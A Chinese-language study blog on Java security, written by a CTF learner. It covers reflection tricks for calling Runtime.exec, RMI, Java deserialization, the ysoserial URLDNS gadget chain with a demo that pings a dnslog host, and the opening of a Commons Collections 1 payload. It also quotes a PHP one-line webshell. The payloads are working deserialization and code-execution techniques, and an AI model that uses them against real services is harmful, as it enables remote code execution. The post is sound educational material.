JAVA安全笔记(持续更新中)

刷ctfshow的java反序列化题做到853现成的工具或者魔改的链子打不通了,还是得深入学学java,就照着p牛的知识星球和huamang师傅的博客慢慢学习吧(大部分的东西都是搬运他们的)。当然,写这篇博客的时候我甚至连java的语法都不知道,一边学习java安全一边学java,fight!fight!fight!

反射

反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。

什么是动态?P牛说”一段代码,改变其中的变量,将会导致这段代码产生功能性的变化,我称之为动态特性”。以php为例,我们都知道有个神奇的东西加一句话木马,最基础的样子是:

<?php @eval($_POST[cmd]);?>

通过向cmd里传不同的值,我们可以肆意的执行各种方法,而这正引起了代码功能性的变化。PHP正是这样一门非常”动态”的语言,而这种可以被歧义的”动态”也引起了很多的安全问题,这里就不详述了。我们现在的重点——java,虽然不像PHP那样灵活,但还是能提供许多动态的特性,而这正为我们这些不法分子提供了方便。

forName()

以下面这段代码为例:

public void execute(String className, String methodName) throws Exception {
    Class clazz = Class.forName(className);
    clazz.getMethod(methodName).invoke(clazz.newInstance());
}

以我浅薄的认知看来,这段代码的作用就和它的方法名一样,是”execute”,也就是执行命令,这就有点像php的一句话木马了,通过传入参数的不同可以改变这段代码的功能,拥有不同的效果,我们再来分析一下这段代码,这里面有反射的几个重要方法。

首先是forname(),当无法事先知道将加载什么类的时候,就可以用class的静态方法forname来实现动态加载类,这个方法有两个不同的版本:

public static Class<?> forName(String className)throws ClassNotFoundException
public static Class<?> forName(String name, boolean initialize,ClassLoader loader)throws ClassNotFoundException

第一个就是我们最常见的获取class的方式,可以理解为第二种方式的一个封装。第一个仅通过指定类名,而第二个可以指定类名称、是否初始化及指定类加载器,这里第二个参数中的的初始化指的是类的初始化,比如下面这个例子:

TrainPrint.java

public class TrainPrint {
 {
 System.out.printf("Empty block initial %s\n", this.getClass());
 }
 static {
 System.out.printf("Static initial %s\n", TrainPrint.class);
 }
 public TrainPrint() {
 System.out.printf("Initial %s\n", this.getClass());
 }
}

然后在main.java里调用一下这个TrainPrint:

运行后可以发现调用的顺序是:static(),{},最后是构造函数。其中,static{}就是在“类初始化”的时候调用的,所以说,forName 中的 initialize=true 其实就是告诉Java虚拟机是否执行”类初始化“。因此forname方法加载类时会自动初始化该类对象,也就是说,如果forname的参数可控,那么我们就可以构造对应的恶意类,在恶意类的static()内编写恶意代码,这样当forname()执行时就会执行我们的恶意代码。

假如我们有这样一个类,其中有这样一个函数:

package com.Test;

public class reflectTest {
    public void ref(String name) throws Exception{
        Class.forName(name);
    }
}

如果其中name参数可控,那我们就可以编写恶意类,然后把它放在static{}的位置,这样就能自动执行了:

package com.Test;

import java.io.IOException;
public class TouchFile {
    static {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"cmd","/c calc"};
        try {
            Process pc = rt.exec(commands);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

逻辑就和上面说的一样,因为forName(name)执行时会对name这个类进行一次类初始化,这个过程会调用static{},而我们这个类是恶意类,static{}里是我们精心构造的恶意代码,这样随着forName(name)的执行我们的恶意代码也会执行了。当然,这个恶意类如何在真实场景里带入目标机器中,可能就涉及到其他方面比如ClassLoader里的一些利用方法。

getMethod()与invoke()

在正常情况下,除了系统类,如果我们想拿到一个类,需要先import才能使用,而使用forName就不
需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类,而这正是反射的妙用,可以通过精妙的构造执行恶意的代码。有时候类名的部分包含 $ 符号,这时可能就会先将$替换成.,$的作用是查找内部类。Java的C1中支持编写内部类 C2 ,而在编译的时候,会生成两个文件:C1.class 和C1$C2.class ,我们可以把他们看作两个无关的类,通过 Class.forName(“C1$C2”) 即可加载这个内部类。获得类以后之后我们可以使用反射获取类里的属性、方法,也可以实例化类来调用方法。

class.newInstance()的作用就是调用这个类的无参构造函数,有时候使用newInstance不成功可能是因为类没有无参构造函数或者类构造函数是私有的,这涉及到java的单例模式,比如在数据库的开发中,连接只需建立一次而不是使用一次就建立一次,这时开发者会将构造函数设置为私有,然后编写一个静态方法来
获取,这样只有类初始化的时候会执行一次构造函数,后面只能通过 getInstance 获取这个对象,避免建
立多个数据库连接,Runtime类就是单例模式,我们只能通过 Runtime.getRuntime() 来获取到 Runtime 对
象,如果payload是:

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

毫无疑问java会报错,因为Runtime类的构造方法是私有的,直接调用自然会报错,只有先通过Runtime.getRuntime() 来获取到 Runtime 对象代码才会正常执行,于是我们应当把payload改成:

Class clazz = Class.forName("java.lang.Runtime"); clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

这里用到了getMethod和invoke方法。getMethod的作用是通过反射获取一个类的某个特定的公有方法,在调用 getMethod 的时候,我们要注意传给他你需要获取的函数的参数类型列表。Runtime.exec最常见的方法重载就是只有一个参数的那个:exec(String command),它只有一个参数,而且类型是string,所以我们可以使用getMethod(“exec”, String.class) 来获取 Runtime.exec 方法,而这正是我们刚刚使用的那个。

invoke 的作用是执行方法,它的第一个参数不是固定的,当这个方法是一个普通方法时,那么第一个参数是类对象;如果这个方法是一个静态方法,那么第一个参数是类。其实这是因为我们正常执行方法是 [1].method([2], [3], [4]…) ,而在反射里就是method.invoke([1], [2], [3], [4]…) 。

因此我们刚刚的payload可以拆分为:

Class clazz = Class.forName("java.lang.Runtime"); #初始化类
Method execMethod = clazz.getMethod("exec", String.class); #获取exec方法
Method getRuntimeMethod = clazz.getMethod("getRuntime"); #获取getRuntime方法
Object runtime = getRuntimeMethod.invoke(clazz); #获取Runtime对象
execMethod.invoke(runtime, "calc.exe") #使用invoke执行runtime对象里的exec方法

java基础补充

因为我本人对java不是很熟悉,所以这里解释一下为什么我们这种构造能执行命令,和正常的语句有什么不同的优势,补充一下java基础。首先

正常的java执行命令语句为:

public class normal_exec {
    //正常执行命令语句
    public static void main(String[] args)throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

毫无疑问,它能正常弹出计算器,运用的原理是java中存在一个共有类java.lang.Runtime类,这个实例存在于每个Java应用程序中,它允许应用程序与运行应用程序的环境交互。当前运行时可以从getRuntime方法获得,但应用程序无法创建自己的此类实例,因此如果我们想要执行命令,需要先使用该类类的主要方法是getRuntime(),它可以让我们得到一个和当前程序相关联的Runtime类的对象,因为大多数Runtime类的方法是实例方法,所以必须被当前运行时对象调用,只有先返回与当前Java应用关联的runtime对象才能使用其中的实例方法。

这其中Runtime对象可以调用exec()方法执行命令,官方文档是这样描述的:在一个单独的进程中执行指定的命令。这是一个方便的方法。以exec(command)形式调用与exec(String,Stringp[],file)的表现是相同的。因此我们执行命令的形式是Runtime.getRuntime().exec(“calc.exe”);,先用Runtime.getRuntime()获取类的对象,然后我们就可以调用其中的实例方法比如exec(command)了,然后输入参数就可执行各种命令了。

getConstructor()

当然这时我们不难产生疑问:如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?如果一个方法或构造方法是私有方法,我们是否能执行它呢?第一个问题换句话讲其实就是说上面提到的newinstance()和getMethod().invoke()都用不上了,该如何继续通过反射来实例化指定的类,对于这个问题我们可以引入一个新的反射方法 getConstructor(),它可以根据参数类型(可变参数)来获取公共的构造器Constructor[](public)。

ProcessBuilder有两个构造函数:public ProcessBuilder(List<String> command)与public ProcessBuilder(String… command),我们常用第一种构造函数进行构造,和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数,当我们获取到构造函数后,我们使用 newInstance 来执行。我们直接向getConstructor 传入List.class,可以生成如下payload:

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

但这里用到了Java里的强制类型转换,有时候我们利用漏洞的时候可能没法直接使用,所以还是需要反射来完成这一步,这用到了我们之前这个payload的知识:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("calc.exe")));

我们当时通过getMethod(“start”)获取到start方法,然后invoke 执行,这时invoke的第一个参数是
ProcessBuilder Object。回到这里如果我们要使用 public ProcessBuilder(String… command) 这个构造函数,需要怎样用反射执行呢?这时我们可以利用Java里的可变长参数(varargs),如其他语言比如C语言一样,Java是可以支持可变长参数的,因此当你定义函数的时候不确定参数数量的时候,可以使用 … 这样的语法来表示“这个函数的参数个数是可变的,对于可变长参数,Java其实在编译的时候会编译成一个数组,因此底层中这两种用法等价:

public void hello(String[] names) {}
public void hello(String...names) {}

所以如果我们想把某个数组想传给hello函数,只需直接传即可:

String[] names = {"hello", "world"};
hello(names);

因此在反射中,如果要获取的目标函数里包含可变长参数,我们可以直接把它认为是数组。这也意味着我们可以将字符串数组的类String[].class传给getConstructor ,获取ProcessBuilder的第二种构造函数:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用newInstance的时候,因为这个函数本身接收的是一个可变长参数,我们传给ProcessBuilder的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new
String[][]{{"calc.exe"}})).start();

getDeclaredMethod()

现在看向第二个问题,如果一个方法或构造方法是私有方法,我们是否能执行它呢?这就涉及到 getDeclared系列的反射了,与普通的getMethod 、getConstructor有所不同,getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法;而getDeclaredMethod系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了,也就是包含一个类中所有的共有方法。

前文中我们提到由于单例模式,Runtime这个类的构造函数是私有的,我们需要用Runtime.getRuntime() 来获取对象,然后才能执行命令。但其实现在我们也可以直接用getDeclaredConstructor来获取这个私有的构造方法来实例化对象,进而执行命令:

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");

注意这里使用了方法 setAccessible ,这个是必须的,因为我们在获取到一个私有方法后,必须用
setAccessible 修改它的作用域,否则仍然不能调用。

RMI

RMI,即Remote Method Invocation,顾名思义,远程方法调用,它可以让某个Java虚拟机上的对象调用另一个Java虚拟机中对象上的方法,非常的灵活,自然又一次为黑客提供了方便。

先写一个RMI Server:

package com.RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }

    public class RemoteHelloWorld extends UnicastRemoteObject implements
            IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
        }

        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello world";
        }
    }

    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

RMI Server分为三部分:

  • 继承了java.rmi.Remote 的接口,定义了我们远程调用的函数,如这里的hello()
  • 一个实现了了此接口的类
  • 一个主类,用来创建Registry,并将上面的类实例例化后绑定到一个地址。这就是我们所谓的Server了

然后我们写一个RMI Client:

package com.RMI;
import com.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
                Naming.lookup("rmi://192.168.135.142:1099/Hello");
        String ret = hello.hello();
        System.out.println( ret);
    }
}

客户端只是使用 Naming.lookup在Registry中寻找到名字是Hello的对象,后面的操作和本地操作一致。

而RMI Registry的本质其实是一个网关,自己是不会执行远程方法的,但它可以通过RMI Server在上面注册一个Name到对象的绑定关系,然后用RMI Client通过Name向RMI Registry查询,得到这个绑定关系,最后再连接RMI Server;因此,远程方法实际上是在RMI Server上调用的。

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、
bind、unbind等方法,直接调用的话会报错,不过list和lookup方法可以远程调用,比如list方法可以列出目标上所有绑定的对象:

String[] s = Naming.list("rmi://192.168.135.142:1099");

其中lookup作用就是获得某个远程对象,因此只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用。

反序列化

一门成熟的语言,如果需要在网络上传递信息,通常会用到一些格式化数据,比如JSON和XML,他们是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,但它们支持的数据类型就是基本数据类型,整型、浮点型、字符串、布尔等,所以如果想传输一个对象就得拓展基础语法,比如,Jackson和Fastjson这类序列化库,在JSON(XML)的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对象转换成一串二进制数据进行传输,在php里,由反序列化导致的漏洞往往都是魔术方法引起的,这里我们先说说java内置的序列化方法readObject,和其有关的漏洞。

Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活的方法 writeObject ,允许开发者
在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取,它与PHP的 __wakeup 不同点在于它倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。

因为Java允许开发者在序列化流中插入一些自定义数据,鼓励开发者深入参与反序列化操作,所以我们不难发现与PHP中 __wakeup 、 __sleep少有人用相反,java的大量库会实现 readObject 、writeObject 方法。

Java在序列化时一个对象,将会调用这个对象中的 writeObject 方法,参数类型是ObjectOutputStream ,开发者可以将任何内容写入这个stream中;反序列化时,会调用readObject ,开发者也可以从中读取出前面写入的内容,并进行处理,比如这里有一个person类:

package com.Ser;
import java.io.IOException;
public class Person implements java.io.Serializable {
    public String name;
    public int age;
    Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    private void writeObject(java.io.ObjectOutputStream s) throws
            IOException {
        s.defaultWriteObject();
        s.writeObject("This is a object");
    }
    private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        String message = (String) s.readObject();
        System.out.println(message);
    }
}

很明显我们在利用 s.defaultWriteObject()反序列化之后利用s.writeObject()写入了一个”This is a object”字符串,如果我们用SerializationDumper查看此时生成的序列化数据,可以看到我们写入的字符串被放在 objectAnnotation 的位置

我们把代码糅合在一起:

package com.Ser;
import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person("Alice", 25);

        // Serialize the Person object to a file
        try (FileOutputStream fileOut = new FileOutputStream("person.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            out.writeObject(person);
        }

        // Deserialize the Person object from the file
        try (FileInputStream fileIn = new FileInputStream("person.ser");
             ObjectInputStream in = new ObjectInputStream(fileIn)) {
            Person deserializedPerson = (Person) in.readObject();
            System.out.println("Deserialized Person:");
            System.out.println("Name: " + deserializedPerson.name);
            System.out.println("Age: " + deserializedPerson.age);
        }
    }

    static class Person implements java.io.Serializable {
        public String name;
        public int age;

        Person(String name, int age) {
            this.name = name;
            this.age = age;
        }

        private void writeObject(java.io.ObjectOutputStream s) throws
                IOException {
            s.defaultWriteObject();
            s.writeObject("This is a object");
        }

        private void readObject(java.io.ObjectInputStream s)
                throws IOException, ClassNotFoundException {
            s.defaultReadObject();
            String message = (String) s.readObject();
            System.out.println(message);
        }
    }
}

最后通过反序列化我们输出了This is a object

URLDNS

urldns利用链触发结果不能进行命令执行,只可以发送一次dns请求,但它完全使用Java内置的类构造,对第三方库没有依赖,此外在目标没有回显的时候(java题里很常见),能够通过DNS请求得知是否存在反序列列化漏洞,因此它可以很好地用来检测反序列化漏洞。

ysoserial生成URLDNS代码的原理:

public class URLDNS implements ObjectPayload<Object> {

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

(注:ysoserial是一种里程碑式的自动化工具,2015年年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了了利用Apache Commons Collections来构造命令执行的利用链,并在年底因为对Weblogic、JBoss、Jenkins等著名应用的利⽤而引起广泛关注,而ysoserial就是两位原作者在此议题中释出的一个工具,以让用户根据自己选择的利利用链,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令)

抛去注释payload其实也就六行:

public Object getObject(final String url) throws Exception {
	URLStreamHandler handler = new SilentURLStreamHandler();
	HashMap ht = new HashMap(); 
	URL u = new URL(null, url, handler); 
	ht.put(u, url); 
	Reflections.setFieldValue(u, "hashCode", -1); 
	return ht;
}

注释里写了gadget:

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

ysoserial会调用URLDNS类的getObject 方法获得payload,返回一个最后被序列化的对象,这里就是HashMap。由于触发反序列列化的方法是 readObject,我们可以先看到HashMap 类的 readObject 方法:

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在倒数第四行将HashMap 的键名计算了hash:

putVal(hash(key), key, value, false, false);

现在是putVal() -> hash(),我们再跟进hash方法

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里执行了一个key.hashCode(),这个key是一个java.net.URL对象,其 hashCode 方法为:

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

简单来说就是当hashCode为-1的时候,他会重新计算hashCode。gedget里下一步是URL.hashCode(),因此其实是URL执行了hashCode():

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    ...  
}

这里执行了一个getHostAddress(u),我们再来跟跟它的源码:

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这里 InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,其实也就是一次DNS查询,而这就是URLDNS这条链子最后的执行点,整个 URLDNS 的Gadget其实清晰又简单:

HashMap::readObject()
↓↓↓
HashMap::hash()
↓↓↓
URL::hashCode()
↓↓↓
URLStreamHandler::hashCode()
↓↓↓
URLStreamHandler::getHostAddress()
↓↓↓
InetAddress::getByName()

从反序列列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调用,这在Java中其实已经算很少了。

要构造这个Gadget,只需要初始化一个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后面的DNS请求,否则不会调用 URL->hashCode() 。

另外,ysoserial为了了防止在生成Payload的时候也执行了URL请求和DNS查询,所以重写了⼀个 SilentURLStreamHandler 类,这不是必须的。

如何执行到URL的hashCode,yoserial是这样的做的

URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url);

它调用了一个ht.put(u, url);

public V put(K key, V value) {
		return putVal(hash(key), key, value, false, true);
}

正好全接上了,我们来写个demo测试一下。

序列化代码:

package com.URLDNS;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest{
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://j1snpo.dnslog.cn");
        Class<? extends URL> clazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 1234);
        hashmap.put(url, 1);
        field.set(url, -1);
        serialize(hashmap);
    }
}

反序列化代码:

package com.URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeTest {
    public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unSerialize("ser.bin");
    }
}

先运行序列化代码再运行反序列化代码,可以看到dnslog平台已经接受到dns请求了:

与其说这是一种恶意代码的利用,我感觉只是非常顺理成章的功能设计,从第一步设置URL对象的 hashCode的初始值 -1以重新计算hashcode后,后面的步骤都不需要我们出手了,所以其实这也就是个学习反序列化的简单链子罢了。最后附上huamang哥哥的思维导图:

CommonCollections1

p牛的最简化payload:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

执行完就弹计算器了:

这个过程涉及到下面几个接口和类

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可
以执行一个回调

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

这里我们通过这种方式对innerMap进行修饰后,传出来的outerMap就是修饰后的map。这其中keyTransformer处理新元素的Key的回调,valueTransformer处理新元素的value的回调。这里的回调实际上是一个实现了Transformer接口的类。

Transformer

Transformer是一个接口,它只有一个待实现的方法:

public interface Transformer {
    public Object transform(Object input);
}

在转换Map的新元素时,就会调⽤transform⽅法,类似于调用⼀个”回调函数“,不过它的参数是原始对象

ConstantTransformer

ConstantTransformer是实现了Transformer接口的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}
public Object transform(Object input) {
	return iConstant;
}

其实它的作用就是包装对象,执行回调时再返回它以方便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接口的⼀个类,它可以⽤来执⾏任意⽅法,而这正是反序列化能执行任意代码的关键。实例化它的时候需要传入三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
 args) {
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

后⾯的回调transform⽅法,就是执行了input对象的iMethodName方法,try语句里后面三个catch都是关于报错的的,可以暂时不关注,关键就是第一个中括号里,这里return了method.invoke(input, this.iArgs),是能够执行命令的关键:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的transform方法的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊:

实现很简单,利用构造方法传入一个数组,然后for循环这里,也就是让前一个对象的回调结果作为下一个对象的transform方法的参数:

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里首先解决了一个问题,那就是如何去执行这个transform函数,这里利用构造方法传入一个数组,然后for循环这里,也就是让前一个对象的回调结果作为下一个对象的transform方法的参数

除此之外,这里解释了为什么ConstantTransformer要传入一个对象,然后原封不动的传回来,因为在这个ChainedTransformer类里面的transform方法里面,可以让我们进行一个连接,让前一个对象的回调结果作为下一个对象的transform方法的参数,所以我们使用ConstantTransformer来包住我们想要加载的对象,在执行ConstantTransformer的transform后得以作为input传给InvokerTransformer去执行函数method.invoke(input, this.iArgs)

回头看,我们可以发现TransformedMap是这么让ChainedTransformer的transform执行的,TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

继续跟进,我们会发现其中keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接口的类。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

然后前面说我们对修饰过的Map添加新元素的时候会执行一个回调,在这里也就是一个put函数,我们跟进去看看,这个put方法会对键和值分别执行transformKeytransformValue

    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

然后我们再跟进transformValue去看看,可以发现是执行了transform函数的,完成了一次回调

    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

demo分析

回到demo的代码:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
